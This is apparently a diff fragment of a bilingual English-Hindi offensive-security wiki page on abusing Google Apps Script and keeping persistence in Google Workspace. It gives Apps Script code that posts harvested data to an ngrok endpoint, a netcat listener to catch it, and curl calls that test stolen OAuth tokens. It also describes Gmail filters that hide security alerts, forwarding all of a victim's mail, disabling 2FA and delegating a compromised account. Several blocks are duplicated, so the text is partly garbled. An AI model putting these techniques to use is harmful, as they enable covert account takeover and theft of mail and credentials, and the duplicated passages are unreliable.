domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
```
To capture the request you can just run:
आप अनुरोध को कैप्चर करने के लिए बस यह चला सकते हैं:
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
```
Permissions requested to execute the App Script:
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
> चूंकि एक बाहरी अनुरोध किया गया है, OAuth प्रॉम्प्ट भी **बाहरी एंडपॉइंट्स तक पहुँचने की अनुमति मांगता है**
### Create Trigger
Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
एक बार जब ऐप पढ़ लिया जाए, तो **⏰ Triggers** पर क्लिक करें ताकि एक ट्रिगर बनाया जा सके। **function** के लिए **`getToken`** चुनें, जो तैनाती पर **`Head`** पर चलता है, इवेंट स्रोत में **`From spreadsheet`** चुनें और इवेंट प्रकार में **`On open`** या **`On edit`** (आपकी आवश्यकताओं के अनुसार) चुनें और सहेजें।
Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
ध्यान दें कि आप **Executions टैब में ऐप स्क्रिप्ट के रन की जांच कर सकते हैं** यदि आप कुछ डिबग करना चाहते हैं।
### Sharing
In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
**App Script** को **trigger** करने के लिए पीड़ित को **Editor Access** के साथ कनेक्ट करना होगा।
> [!TIP]
> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
> **App Script** को निष्पादित करने के लिए उपयोग किया जाने वाला **token** **trigger के निर्माता** का होगा, भले ही फ़ाइल को अन्य उपयोगकर्ताओं द्वारा संपादक के रूप में खोला गया हो।
### Abusing Shared With Me documents
> [!CAUTION]
> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
> यदि किसी ने **आपके साथ एक दस्तावेज़ साझा किया है जिसमें App Scripts और एक ट्रिगर है जो ऐप स्क्रिप्ट के Head का उपयोग करता है** (निश्चित तैनाती नहीं), तो आप ऐप स्क्रिप्ट कोड को संशोधित कर सकते हैं (उदाहरण के लिए, चोरी करने वाले टोकन फ़ंक्शन जोड़ना), इसे एक्सेस कर सकते हैं, और **App Script उन उपयोगकर्ता की अनुमतियों के साथ निष्पादित होगा जिसने आपके साथ दस्तावेज़ साझा किया**! (ध्यान दें कि मालिक का OAuth टोकन उस पहुंच स्कोप के साथ होगा जो ट्रिगर बनाने के समय दिए गए थे)।
>
> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
> एक **सूचना स्क्रिप्ट के निर्माता को भेजी जाएगी कि किसी ने स्क्रिप्ट को संशोधित किया है** (क्या अलर्ट को रोकने के लिए फ़िल्टर उत्पन्न करने के लिए जीमेल अनुमतियों का उपयोग करने के बारे में?)
> [!TIP]
> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
> यदि एक **हमलावर App Script के स्कोप को संशोधित करता है**, तो अपडेट **दस्तावेज़ पर लागू नहीं होंगे** जब तक कि एक **नया ट्रिगर** परिवर्तनों के साथ नहीं बनाया जाता। इसलिए, एक हमलावर ट्रिगर में सेट किए गए स्कोप से अधिक स्कोप के साथ मालिक के निर्माता टोकन को चुराने में असमर्थ होगा।
### Copying instead of sharing
When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
जब आप एक दस्तावेज़ साझा करने के लिए एक लिंक बनाते हैं, तो एक लिंक इस तरह का बनाया जाता है: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
यदि आप **"/edit"** के अंत को **"/copy"** में **बदलते हैं**, तो इसे एक्सेस करने के बजाय गूगल आपसे पूछेगा कि क्या आप **दस्तावेज़ की एक प्रति उत्पन्न करना चाहते हैं:**
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
यदि उपयोगकर्ता इसे कॉपी करता है और इसे एक्सेस करता है, तो **दस्तावेज़ की सामग्री और App Scripts दोनों को कॉपी किया जाएगा**, हालाँकि **ट्रिगर नहीं होंगे**, इसलिए **कुछ भी निष्पादित नहीं होगा**
### Sharing as Web Application
Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
ध्यान दें कि **App Script को एक वेब एप्लिकेशन के रूप में साझा करना भी संभव है** (App Script के संपादक में, एक वेब एप्लिकेशन के रूप में तैनात करें), लेकिन इस तरह का एक अलर्ट दिखाई देगा:
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
Followed by the **typical OAuth prompt asking** for the needed permissions.
इसके बाद आवश्यक अनुमतियों के लिए **टिपिकल OAuth प्रॉम्प्ट** आएगा।
### Testing
You can test a gathered token to list emails with:
आप एक एकत्रित टोकन का परीक्षण कर सकते हैं ताकि ईमेल सूचीबद्ध की जा सके:
```bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
```
List calendar of the user:
उपयोगकर्ता का कैलेंडर सूचीबद्ध करें:
```bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
```
## App Script के रूप में स्थिरता
## App Script as Persistence
स्थिरता के लिए एक विकल्प होगा **एक दस्तावेज़ बनाना और getToken** फ़ंक्शन के लिए एक ट्रिगर जोड़ना और दस्तावेज़ को हमलावर के साथ साझा करना ताकि हर बार जब हमलावर फ़ाइल खोलता है, वह **पीड़ित का टोकन निकालता है।**
One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
यह भी संभव है कि एक App Script बनाई जाए और इसे हर X समय (जैसे हर मिनट, घंटे, दिन...) ट्रिगर किया जाए। एक हमलावर जिसने **पीड़ित के क्रेडेंशियल्स या सत्र को समझौता किया है, वह एक App Script समय ट्रिगर सेट कर सकता है और हर दिन एक बहुत ही विशेषाधिकार प्राप्त OAuth टोकन लीक कर सकता है**:
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
बस एक App Script बनाएं, ट्रिगर्स पर जाएं, Add Trigger पर क्लिक करें, और घटना स्रोत के रूप में Time-driven चुनें और उन विकल्पों का चयन करें जो आपके लिए सबसे उपयुक्त हैं:
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
> [!CAUTION]
> This will create a security alert email and a push message to your mobile alerting about this.
> यह एक सुरक्षा अलर्ट ईमेल और आपके मोबाइल पर इस बारे में एक पुश संदेश बनाएगा।
### Shared Document Unverified Prompt Bypass
### साझा दस्तावेज़ अवेरिफाइड प्रॉम्प्ट बायपास
Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
इसके अलावा, यदि किसी ने **आपके साथ** **संपादक पहुंच** के साथ एक दस्तावेज़ साझा किया है, तो आप **दस्तावेज़ के अंदर App Scripts उत्पन्न कर सकते हैं** और **दस्तावेज़ का OWNER (निर्माता) App Script का मालिक होगा**
> [!WARNING]
> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
> इसका मतलब है कि **दस्तावेज़ का निर्माता किसी भी App Script का निर्माता के रूप में दिखाई देगा** जिसे कोई भी संपादक पहुंच के साथ इसके अंदर बनाता है।
>
> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
> इसका मतलब यह भी है कि **App Script को दस्तावेज़ के निर्माता के Workspace वातावरण द्वारा विश्वसनीय माना जाएगा**।
> [!CAUTION]
> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
> इसका मतलब यह भी है कि यदि एक **App Script पहले से मौजूद है** और लोगों ने **पहुँच दी है**, तो दस्तावेज़ पर **संपादक** अनुमति वाले कोई भी व्यक्ति **इसे संशोधित कर सकता है और उस पहुंच का दुरुपयोग कर सकता है।**\
> इसका दुरुपयोग करने के लिए आपको लोगों को App Script को ट्रिगर करने की भी आवश्यकता है। और एक अच्छा ट्रिक है कि **स्क्रिप्ट को एक वेब ऐप के रूप में प्रकाशित करें**। जब **लोग** जो पहले से **पहुँच** दे चुके हैं, वेब पृष्ठ तक पहुँचते हैं, तो वे **App Script को ट्रिगर करेंगे** (यह `<img>` टैग का उपयोग करके भी काम करता है)।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,184 +3,180 @@
{{#include ../../banners/hacktricks-training.md}}
> [!CAUTION]
> All the actions mentioned in this section that change setting will generate a **security alert to the email and even a push notification to any mobile synced** with the account.
> इस अनुभाग में उल्लिखित सभी क्रियाएँ जो सेटिंग्स को बदलती हैं, **ईमेल पर एक सुरक्षा अलर्ट उत्पन्न करेंगी और किसी भी मोबाइल पर एक पुश नोटिफिकेशन भी भेजेंगी** जो खाते के साथ समन्वयित है।
## **Persistence in Gmail**
## **Gmail में स्थिरता**
- You can create **filters to hide** security notifications from Google
- `from: (no-reply@accounts.google.com) "Security Alert"`
- This will prevent security emails to reach the email (but won't prevent push notifications to the mobile)
- आप **सुरक्षा सूचनाओं को छिपाने के लिए फ़िल्टर बना सकते हैं**
- `from: (no-reply@accounts.google.com) "Security Alert"`
- यह सुरक्षा ईमेल को ईमेल तक पहुँचने से रोकेगा (लेकिन मोबाइल पर पुश नोटिफिकेशन को रोक नहीं पाएगा)
<details>
<summary>Steps to create a gmail filter</summary>
<summary>Gmail फ़िल्टर बनाने के चरण</summary>
(Instructions from [**here**](https://support.google.com/mail/answer/6579))
(निर्देश [**यहाँ**](https://support.google.com/mail/answer/6579) से)
1. Open [Gmail](https://mail.google.com/).
2. In the search box at the top, click Show search options ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36) .
3. Enter your search criteria. If you want to check that your search worked correctly, see what emails show up by clicking **Search**.
4. At the bottom of the search window, click **Create filter**.
5. Choose what youd like the filter to do.
6. Click **Create filter**.
1. [Gmail](https://mail.google.com/) खोलें।
2. शीर्ष पर खोज बॉक्स में, खोज विकल्प दिखाएँ पर क्लिक करें ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36) .
3. अपने खोज मानदंड दर्ज करें। यदि आप यह जांचना चाहते हैं कि आपकी खोज सही ढंग से काम कर रही है, तो **खोज** पर क्लिक करके देखें कि कौन से ईमेल दिखाई देते हैं।
4. खोज विंडो के नीचे, **फ़िल्टर बनाएँ** पर क्लिक करें।
5. चुनें कि आप फ़िल्टर से क्या करना चाहते हैं।
6. **फ़िल्टर बनाएँ** पर क्लिक करें।
Check your current filter (to delete them) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
अपने वर्तमान फ़िल्टर की जाँच करें (उन्हें हटाने के लिए) [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
</details>
<figure><img src="../../images/image (331).png" alt=""><figcaption></figcaption></figure>
- Create **forwarding address to forward sensitive information** (or everything) - You need manual access.
- Create a forwarding address in [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
- The receiving address will need to confirm this
- Then, set to forward all the emails while keeping a copy (remember to click on save changes):
- **संवेदनशील जानकारी को अग्रेषित करने के लिए अग्रेषण पता बनाएं** (या सब कुछ) - आपको मैनुअल एक्सेस की आवश्यकता है।
- [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop) में एक अग्रेषण पता बनाएं
- प्राप्त करने वाले पते को इसकी पुष्टि करने की आवश्यकता होगी
- फिर, सभी ईमेल को अग्रेषित करने के लिए सेट करें जबकि एक प्रति रखते हुए (बदलाव सहेजने के लिए क्लिक करना न भूलें):
<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
It's also possible create filters and forward only specific emails to the other email address.
यह भी संभव है कि फ़िल्टर बनाएँ और केवल विशिष्ट ईमेल को दूसरे ईमेल पते पर अग्रेषित करें।
## App passwords
## ऐप पासवर्ड
If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) (follow the link to see the steps). Note that **App passwords are no longer recommended by Google and are revoked** when the user **changes his Google Account password.**
यदि आप **एक गूगल उपयोगकर्ता सत्र को समझौता करने में सफल रहे हैं** और उपयोगकर्ता के पास **2FA** है, तो आप **एक [**ऐप पासवर्ड**](https://support.google.com/accounts/answer/185833?hl=en) उत्पन्न कर सकते हैं** (चरण देखने के लिए लिंक का पालन करें)। ध्यान दें कि **ऐप पासवर्ड अब गूगल द्वारा अनुशंसित नहीं हैं और जब उपयोगकर्ता **अपने गूगल खाते का पासवर्ड बदलता है तो रद्द कर दिए जाते हैं।**
**Even if you have an open session you will need to know the password of the user to create an app password.**
**यहाँ तक कि यदि आपके पास एक खुला सत्र है, तो आपको ऐप पासवर्ड बनाने के लिए उपयोगकर्ता का पासवर्ड जानना होगा।**
> [!NOTE]
> App passwords can **only be used with accounts that have 2-Step Verification** turned on.
> ऐप पासवर्ड **केवल उन खातों के साथ उपयोग किए जा सकते हैं जिनमें 2-चरणीय सत्यापन** चालू है।
## Change 2-FA and similar
## 2-FA और समान में परिवर्तन
It's also possible to **turn off 2-FA or to enrol a new device** (or phone number) in this page [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
**It's also possible to generate passkeys (add your own device), change the password, add mobile numbers for verification phones and recovery, change the recovery email and change the security questions).**
यह भी संभव है कि **2-FA बंद करें या एक नए डिवाइस** (या फोन नंबर) को इस पृष्ठ [**https://myaccount.google.com/security**](https://myaccount.google.com/security)** में नामांकित करें।**\
**यह भी संभव है कि पासकीज़ उत्पन्न करें (अपना डिवाइस जोड़ें), पासवर्ड बदलें, सत्यापन फोन के लिए मोबाइल नंबर जोड़ें और पुनर्प्राप्ति के लिए, पुनर्प्राप्ति ईमेल बदलें और सुरक्षा प्रश्न बदलें।**
> [!CAUTION]
> To **prevent security push notifications** to reach the phone of the user, you could **sign his smartphone out** (although that would be weird) because you cannot sign him in again from here.
> **सुरक्षा पुश नोटिफिकेशन** को उपयोगकर्ता के फोन तक पहुँचने से रोकने के लिए, आप **उसके स्मार्टफोन को साइन आउट कर सकते हैं** (हालांकि यह अजीब होगा) क्योंकि आप यहाँ से उसे फिर से साइन इन नहीं कर सकते।
>
> It's also possible to **locate the device.**
> यह भी संभव है कि **डिवाइस को स्थानांतरित करें।**
**Even if you have an open session you will need to know the password of the user to change these settings.**
**यहाँ तक कि यदि आपके पास एक खुला सत्र है, तो आपको इन सेटिंग्स को बदलने के लिए उपयोगकर्ता का पासवर्ड जानना होगा।**
## Persistence via OAuth Apps
## OAuth ऐप्स के माध्यम से स्थिरता
If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can be configure to **disallow unreviewed external and/or internal OAuth apps.**\
It is pretty common for Workspace Organizations to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**.
यदि आपने **एक उपयोगकर्ता के खाते को समझौता किया है,** तो आप बस **OAuth ऐप** को सभी संभावित अनुमतियाँ देने के लिए **स्वीकृति** दे सकते हैं। एकमात्र समस्या यह है कि Workspace को **अवलोकित बाहरी और/या आंतरिक OAuth ऐप्स की अनुमति देने के लिए कॉन्फ़िगर किया जा सकता है।**\
यह Workspace संगठनों के लिए सामान्य है कि वे डिफ़ॉल्ट रूप से बाहरी OAuth ऐप्स पर भरोसा नहीं करते हैं लेकिन आंतरिक पर करते हैं, इसलिए यदि आपके पास **संगठन के भीतर एक नया OAuth एप्लिकेशन उत्पन्न करने के लिए पर्याप्त अनुमतियाँ हैं** और बाहरी ऐप्स अवरुद्ध हैं, तो इसे उत्पन्न करें और **स्थिरता बनाए रखने के लिए उस नए आंतरिक OAuth ऐप का उपयोग करें**
Check the following page for more information about OAuth Apps:
OAuth ऐप्स के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:
{{#ref}}
gws-google-platforms-phishing/
{{#endref}}
## Persistence via delegation
## प्रतिनिधित्व के माध्यम से स्थिरता
You can just **delegate the account** to a different account controlled by the attacker (if you are allowed to do this). In Workspace **Organizations** this option must be **enabled**. It can be disabled for everyone, enabled from some users/groups or for everyone (usually it's only enabled for some users/groups or completely disabled).
आप बस **खाते को एक अलग खाते में प्रतिनिधित्व कर सकते हैं** जो हमलावर द्वारा नियंत्रित है (यदि आपको ऐसा करने की अनुमति है)। Workspace **संगठनों** में यह विकल्प **सक्षम** होना चाहिए। इसे सभी के लिए अक्षम किया जा सकता है, कुछ उपयोगकर्ताओं/समूहों से सक्षम किया जा सकता है या सभी के लिए (आमतौर पर यह केवल कुछ उपयोगकर्ताओं/समूहों के लिए सक्षम होता है या पूरी तरह से अक्षम होता है)।
<details>
<summary>If you are a Workspace admin check this to enable the feature</summary>
<summary>यदि आप एक Workspace व्यवस्थापक हैं तो इस फीचर को सक्षम करने के लिए जाँच करें</summary>
(Information [copied form the docs](https://support.google.com/a/answer/7223765))
(जानकारी [दस्तावेज़ों से कॉपी की गई](https://support.google.com/a/answer/7223765))
As an administrator for your organization (for example, your work or school), you control whether users can delegate access to their Gmail account. You can let everyone have the option to delegate their account. Or, only let people in certain departments set up delegation. For example, you can:
आपके संगठन के लिए एक व्यवस्थापक के रूप में (उदाहरण के लिए, आपका कार्य या स्कूल), आप नियंत्रित करते हैं कि उपयोगकर्ता अपने Gmail खाते तक पहुँच को प्रतिनिधित्व कर सकते हैं या नहीं। आप सभी को अपने खाते को प्रतिनिधित्व करने का विकल्प दे सकते हैं। या, केवल कुछ विभागों के लोगों को प्रतिनिधित्व सेट करने की अनुमति दें। उदाहरण के लिए, आप:
- Add an administrative assistant as a delegate on your Gmail account so they can read and send email on your behalf.
- Add a group, such as your sales department, in Groups as a delegate to give everyone access to one Gmail account.
- अपने Gmail खाते पर एक प्रशासनिक सहायक को प्रतिनिधि के रूप में जोड़ सकते हैं ताकि वे आपकी ओर से ईमेल पढ़ और भेज सकें।
- एक समूह, जैसे कि आपकी बिक्री विभाग, को समूहों में एक प्रतिनिधि के रूप में जोड़ सकते हैं ताकि सभी को एक Gmail खाते तक पहुँच मिल सके।
Users can only delegate access to another user in the same organization, regardless of their domain or their organizational unit.
उपयोगकर्ता केवल उसी संगठन में दूसरे उपयोगकर्ता को प्रतिनिधित्व कर सकते हैं, चाहे उनका डोमेन या उनका संगठनात्मक इकाई कुछ भी हो।
#### Delegation limits & restrictions
#### प्रतिनिधित्व सीमाएँ और प्रतिबंध
- **Allow users to grant their mailbox access to a Google group** option: To use this option, it must be enabled for the OU of the delegated account and for each group member's OU. Group members that belong to an OU without this option enabled can't access the delegated account.
- With typical use, 40 delegated users can access a Gmail account at the same time. Above-average use by one or more delegates might reduce this number.
- Automated processes that frequently access Gmail might also reduce the number of delegates who can access an account at the same time. These processes include APIs or browser extensions that access Gmail frequently.
- A single Gmail account supports up to 1,000 unique delegates. A group in Groups counts as one delegate toward the limit.
- Delegation does not increase the limits for a Gmail account. Gmail accounts with delegated users have the standard Gmail account limits and policies. For details, visit [Gmail limits and policies](https://support.google.com/a/topic/28609).
- **उपयोगकर्ताओं को अपने मेलबॉक्स तक पहुँच देने के लिए एक Google समूह को अनुमति दें** विकल्प: इस विकल्प का उपयोग करने के लिए, इसे प्रतिनिधित्व किए गए खाते के OU और प्रत्येक समूह सदस्य के OU के लिए सक्षम होना चाहिए। जिन समूह के सदस्य एक OU में हैं जिसमें यह विकल्प सक्षम नहीं है, वे प्रतिनिधित्व किए गए खाते तक पहुँच नहीं सकते।
- सामान्य उपयोग के साथ, 40 प्रतिनिधि एक ही समय में एक Gmail खाते तक पहुँच सकते हैं। एक या अधिक प्रतिनिधियों द्वारा औसत से अधिक उपयोग इस संख्या को कम कर सकता है।
- स्वचालित प्रक्रियाएँ जो अक्सर Gmail तक पहुँचती हैं, वे भी एक ही समय में एक खाते तक पहुँचने वाले प्रतिनिधियों की संख्या को कम कर सकती हैं। इन प्रक्रियाओं में APIs या ब्राउज़र एक्सटेंशन शामिल हैं जो अक्सर Gmail तक पहुँचते हैं।
- एक ही Gmail खाता 1,000 अद्वितीय प्रतिनिधियों का समर्थन करता है। समूहों में एक समूह एक प्रतिनिधि के रूप में सीमा की ओर गिना जाता है।
- प्रतिनिधित्व Gmail खाते की सीमाओं को नहीं बढ़ाता है। प्रतिनिधियों वाले Gmail खातों में मानक Gmail खाता सीमाएँ और नीतियाँ होती हैं। विवरण के लिए, [Gmail सीमाएँ और नीतियाँ](https://support.google.com/a/topic/28609) पर जाएँ।
#### Step 1: Turn on Gmail delegation for your users
#### चरण 1: अपने उपयोगकर्ताओं के लिए Gmail प्रतिनिधित्व चालू करें
**Before you begin:** To apply the setting for certain users, put their accounts in an [organizational unit](https://support.google.com/a/topic/1227584).
**शुरू करने से पहले:** कुछ उपयोगकर्ताओं के लिए सेटिंग लागू करने के लिए, उनके खातों को एक [संगठनात्मक इकाई](https://support.google.com/a/topic/1227584) में डालें।
1. [Sign in](https://admin.google.com/) to your [Google Admin console](https://support.google.com/a/answer/182076).
1. [साइन इन](https://admin.google.com/) करें अपने [Google व्यवस्थापक कंसोल](https://support.google.com/a/answer/182076) में।
Sign in using an _administrator account_, not your current account CarlosPolop@gmail.com
एक _व्यवस्थापक खाते_ का उपयोग करके साइन इन करें, न कि अपने वर्तमान खाते CarlosPolop@gmail.com
2. In the Admin console, go to Menu ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **Apps**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**User settings**.
3. To apply the setting to everyone, leave the top organizational unit selected. Otherwise, select a child [organizational unit](https://support.google.com/a/topic/1227584).
4. Click **Mail delegation**.
5. Check the **Let users delegate access to their mailbox to other users in the domain** box.
6. (Optional) To let users specify what sender information is included in delegated messages sent from their account, check the **Allow users to customize this setting** box.
7. Select an option for the default sender information that's included in messages sent by delegates:
- **Show the account owner and the delegate who sent the email**—Messages include the email addresses of the Gmail account owner and the delegate.
- **Show the account owner only**—Messages include the email address of only the Gmail account owner. The delegate email address is not included.
8. (Optional) To let users add a group in Groups as a delegate, check the **Allow users to grant their mailbox access to a Google group** box.
9. Click **Save**. If you configured a child organizational unit, you might be able to **Inherit** or **Override** a parent organizational unit's settings.
10. (Optional) To turn on Gmail delegation for other organizational units, repeat steps 39.
2. व्यवस्थापक कंसोल में, मेनू पर जाएँ ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![और फिर](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **ऐप्स**![और फिर](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![और फिर](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![और फिर](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**उपयोगकर्ता सेटिंग्स**
3. यदि आप सभी के लिए सेटिंग लागू करना चाहते हैं, तो शीर्ष संगठनात्मक इकाई को चयनित छोड़ दें। अन्यथा, एक बच्चे [संगठनात्मक इकाई](https://support.google.com/a/topic/1227584) का चयन करें।
4. **मेल प्रतिनिधित्व** पर क्लिक करें।
5. **उपयोगकर्ताओं को अपने मेलबॉक्स तक पहुँच को अन्य उपयोगकर्ताओं को डोमेन में प्रतिनिधित्व करने की अनुमति दें** बॉक्स को चेक करें।
6. (वैकल्पिक) उपयोगकर्ताओं को यह निर्दिष्ट करने की अनुमति देने के लिए कि उनके खाते से भेजे गए प्रतिनिधि संदेशों में कौन सी प्रेषक जानकारी शामिल है, **उपयोगकर्ताओं को इस सेटिंग को अनुकूलित करने की अनुमति दें** बॉक्स को चेक करें।
7. प्रतिनिधियों द्वारा भेजे गए संदेशों में शामिल प्रेषक जानकारी के लिए एक विकल्प चुनें:
- **खाते के मालिक और प्रतिनिधि को दिखाएँ जिसने ईमेल भेजा**—संदेशों में Gmail खाते के मालिक और प्रतिनिधि के ईमेल पते शामिल होते हैं।
- **केवल खाते के मालिक को दिखाएँ**—संदेशों में केवल Gmail खाते के मालिक का ईमेल पता शामिल होता है। प्रतिनिधि का ईमेल पता शामिल नहीं होता है।
8. (वैकल्पिक) उपयोगकर्ताओं को समूहों में एक समूह को प्रतिनिधि के रूप में जोड़ने की अनुमति देने के लिए, **उपयोगकर्ताओं को अपने मेलबॉक्स तक पहुँच देने के लिए एक Google समूह को अनुमति दें** बॉक्स को चेक करें।
9. **सहेजें** पर क्लिक करें। यदि आपने एक बच्चे संगठनात्मक इकाई को कॉन्फ़िगर किया है, तो आप एक माता संगठनात्मक इकाई की सेटिंग्स को **विरासत में** या **ओवरराइड** कर सकते हैं।
10. (वैकल्पिक) अन्य संगठनात्मक इकाइयों के लिए Gmail प्रतिनिधित्व चालू करने के लिए, चरण 39 को दोहराएँ।
Changes can take up to 24 hours but typically happen more quickly. [Learn more](https://support.google.com/a/answer/7514107)
परिवर्तन में 24 घंटे तक का समय लग सकता है लेकिन आमतौर पर अधिक तेजी से होते हैं। [अधिक जानें](https://support.google.com/a/answer/7514107)
#### Step 2: Have users set up delegates for their accounts
#### चरण 2: उपयोगकर्ताओं को अपने खातों के लिए प्रतिनिधियों को सेट अप करने दें
After you turn on delegation, your users go to their Gmail settings to assign delegates. Delegates can then read, send, and receive messages on behalf of the user.
जब आप प्रतिनिधित्व चालू करते हैं, तो आपके उपयोगकर्ता अपने Gmail सेटिंग्स में जाकर प्रतिनिधियों को असाइन करते हैं। प्रतिनिधि तब उपयोगकर्ता की ओर से संदेश पढ़, भेज और प्राप्त कर सकते हैं।
For details, direct users to [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350).
विवरण के लिए, उपयोगकर्ताओं को [ईमेल पर प्रतिनिधित्व और सहयोग करें](https://support.google.com/a/users/answer/138350) पर निर्देशित करें।
</details>
<details>
<summary>From a regular suer, check here the instructions to try to delegate your access</summary>
<summary>एक नियमित उपयोगकर्ता से, यहाँ अपने एक्सेस को प्रतिनिधित्व करने के लिए निर्देश देखें</summary>
(Info copied [**from the docs**](https://support.google.com/mail/answer/138350))
(जानकारी [**दस्तावेज़ों से कॉपी की गई**](https://support.google.com/mail/answer/138350))
You can add up to 10 delegates.
आप अधिकतम 10 प्रतिनिधि जोड़ सकते हैं।
If you're using Gmail through your work, school, or other organization:
